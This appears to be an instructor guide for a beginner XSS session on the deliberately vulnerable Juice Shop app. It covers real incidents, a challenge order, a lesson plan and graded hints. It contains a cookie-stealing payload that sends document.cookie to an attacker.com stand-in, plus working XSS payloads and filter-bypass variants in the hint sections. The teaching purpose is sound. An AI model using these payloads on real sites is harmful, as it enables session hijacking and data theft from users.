XSS Session — Instructor Guide
Purpose: Background, incident context, and teaching approach for facilitators. Not shared with students yet.
Real-World XSS Incidents (for your opening story)
Use these in intro to motivate why XSS matters. Show 1-2 during session.
1. MySpace Samy Worm (2005) — Stored XSS, Account Takeover
What happened: User "Samy" injected JavaScript into his MySpace profile. When visitors viewed his profile, the JS executed in their browser, added Samy as a friend, and infected their profiles with the same code. Spread to 1 million users in 20 hours.
Technical: Stored XSS in profile field. MySpace filtered <script>, so attacker used <div> + onclick event. Later, filters bypassed again via CSS expressions.
Impact: MySpace brought down for cleanup. Samy arrested (pleaded guilty, served probation).
Teaching point: "Stored XSS spreads like a worm. One injection infects thousands of users automatically."
Source:
2. eBay Stored XSS (2015) — Data Exfiltration
What happened: Security researcher found Stored XSS in eBay item listings. Attacker could inject JS that captured buyer's payment details or session cookies when they viewed the listing.
Technical: Stored XSS in product description or seller comments. eBay rendered user input without proper encoding. Attacker could use data-exfiltration payload to send cookies/tokens to attacker server.
Impact: Buyer's payment info, auth tokens, personal data could be stolen silently (no alert box).
Teaching point: "Stored XSS is silent. Attacker doesn't need alert(). They exfiltrate data in the background."
Source:
Juice Shop Challenge Mapping
Your 3 entry points for XSS learning. Do these in order.
| Challenge | Type | Difficulty | Why This Order | Teaching Goal |
|---|---|---|---|---|
| DOM XSS | DOM-based | ⭐ | Simplest: immediate visual feedback (alert). No server roundtrip needed. | Understand source (user input) → sink (innerHTML). |
| Bonus Payload | DOM filter bypass | ⭐ | Same vector, different filter. Teaches: "blocklists are brittle." | Enumerate filters. Understand allowlist vs blocklist. |
| Reflected XSS | Reflected | ⭐⭐ | Requires Burp/DevTools to see request/response. Harder recon. | Understand reflected vs stored vs DOM. Server role. |
What we skip (for this session):
- Stored XSS (no obvious stored endpoint in Juice Shop for beginners)
- DOM XSS (advanced variants with sanitizers)
- Blind XSS (too advanced for first session)
Next session: If time/interest, add "Stored XSS" hunt (feedback forms, comments) or blind XSS (contact form, monitoring via external service).
Why These 3 Challenges Work
DOM XSS (Challenge 1)
- Visual feedback: Alert fires = immediate success
- Low friction: Browser + search bar only, no proxy needed
- Teachable: Shows source → sink in DevTools directly
- Scalable: Beginners solve with alert, advanced students can attempt data exfiltration
Bonus Payload (Challenge 2)
- Confidence: If they solved DOM XSS, filter bypass feels close
- Enum skill: Students learn systematic testing (try SVG, iframe, events)
- Realism: Real apps use filters; knowing bypass techniques matters
- Time: Usually 5–10 min if DOM XSS solved; keeps momentum
Reflected XSS (Challenge 3)
- Proxy intro: First time with Burp/DevTools Network tab
- Recon: Requires finding where input reflects (harder)
- Conceptual jump: From "my input executes" → "attacker sends victim this link"
- Difficulty jump: Reflects ⭐⭐ feels earned after two ⭐ solves
Data Exfiltration (why students should care, not demo yet)
The 1_xss_knowledge.md mentions cookie/token grabbers:
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
Why it works:
- Victim's browser sends request to attacker domain
- Attacker logs it, reads cookie from URL
- No alert needed; victim never knows
Why we skip it for Juice Shop session 1:
- Students new to XSS. Alert teaches concept first.
- Requires attacker infrastructure (listening server, ngrok, or similar)
- Burden of setup > benefit at this stage
- Introduce in "Advanced XSS" session (later), or in AI agent comparison (when agents auto-discover this)
For instructor prep: Test one data-exfil payload locally (use ngrok to expose local listener). Know how it works, so you can explain it when students ask "but can you steal my cookies?"
Session Flow (90 min)
- Incident story (5 min): Show Samy worm clip or BA breach headline. "This is what XSS enables."
- Theory (10 min): Source → Sink mental model. Show diagram on board: input → innerHTML → JS execution.
- Recon warmup (10 min): All together. Project screen. Walk through DevTools Network + Elements. Show
/scoreboardfind. - Challenge 1 demo (10 min): Project. Type in search, show alert fires. Open Elements. Show payload in DOM.
- Challenge 2–3 hunt (40 min): Students work solo/pairs. Instructor circulates.
- Finish DOM XSS? Try Bonus.
- Finish Bonus? Try Reflected (harder).
- Stuck? Guided hints (below).
- Debrief (10 min): Each team: "what worked, time, dead ends." Board notes.
- Homework (5 min): Collect 5-line writeups. Link to next session (Auth).
Guided Hints (if students stuck)
DOM XSS hints (progressive)
- "Does search bar take input?"
- "Open DevTools Elements tab. Type in search. Where does your input appear in HTML?"
- "Try HTML:
<b>test</b>. Does it bold or print as text?" - "If it bolded, try:
<img src=x onerror=alert(1)>" - "If alert fires, you've found the sink. Now find the source: search in
main.jsfor the function that renders results."
Bonus Payload hints
- "Same search bar. But now
<img>won't work. Try other tags:<svg>,<iframe>." - "Try event handlers:
<div onerror=alert(1)>,<body onload=alert(1)>." - "Try uppercase:
<IMG SRC=x ONERROR=alert(1)>." - "Try encoding:
<img src=x onerror=alert(String.fromCharCode(88,83,83))>(bypasses keyword filter)."
Reflected XSS hints
- "Find a form input (search, order ID, anything). Submit something normal. Where does it show up?"
- "Now try HTML in that field:
<b>test</b>. Does it bold?" - "If it bolded, try payload. If not, try Burp Repeater to modify response and see where your input lands."
- "Is your input in HTML tag attribute? In script tag? In plain text? The sink location changes the payload."
Hydra / Brute Force (separate topic, not this session)
You found admin password via Hydra. That's credential brute-force, not XSS.
Where it fits: Broken Auth session (not XSS).
Why skip today:
- Distracts from XSS core
- Hydra setup adds time
- Admin password already known to students after Auth session
Future mention: During Auth debrief, say "Hydra would find weak passwords. We'll demo that when we cover weak authentication."
Payloads That Likely Won't Work (and why)
From 1_xss_knowledge.md, many payloads are context-specific:
data:URIs: Browser sandbox blocksvbscript:: IE only (dead browser)- Remote JS loading: Juice Shop has no CORS issues, but egress filtering might block outbound
- Blind XSS tools: Require external server listener
- Advanced filter bypasses: Mutated XSS, Unicode escaping — too hard for session 1
Rule: Juice Shop defaults to simple vectors. If a payload doesn't work:
- Check if your input reaches the page (DevTools Elements)
- Check if it's in HTML tag or inside
<script> - Adjust payload context (tag attribute vs plain text encode differently)
Post-Session Follow-Up
- Collect homework notes from students (time, dead ends, payload used)
- Record challenge solutions yourself with
curlfor report-writing session - Compare manual vs AI (Dec/Jan): Use student homework as baseline
- Prepare Broken Auth session: Intro credit-card theft risk (BA case), move to SQLi + weak passwords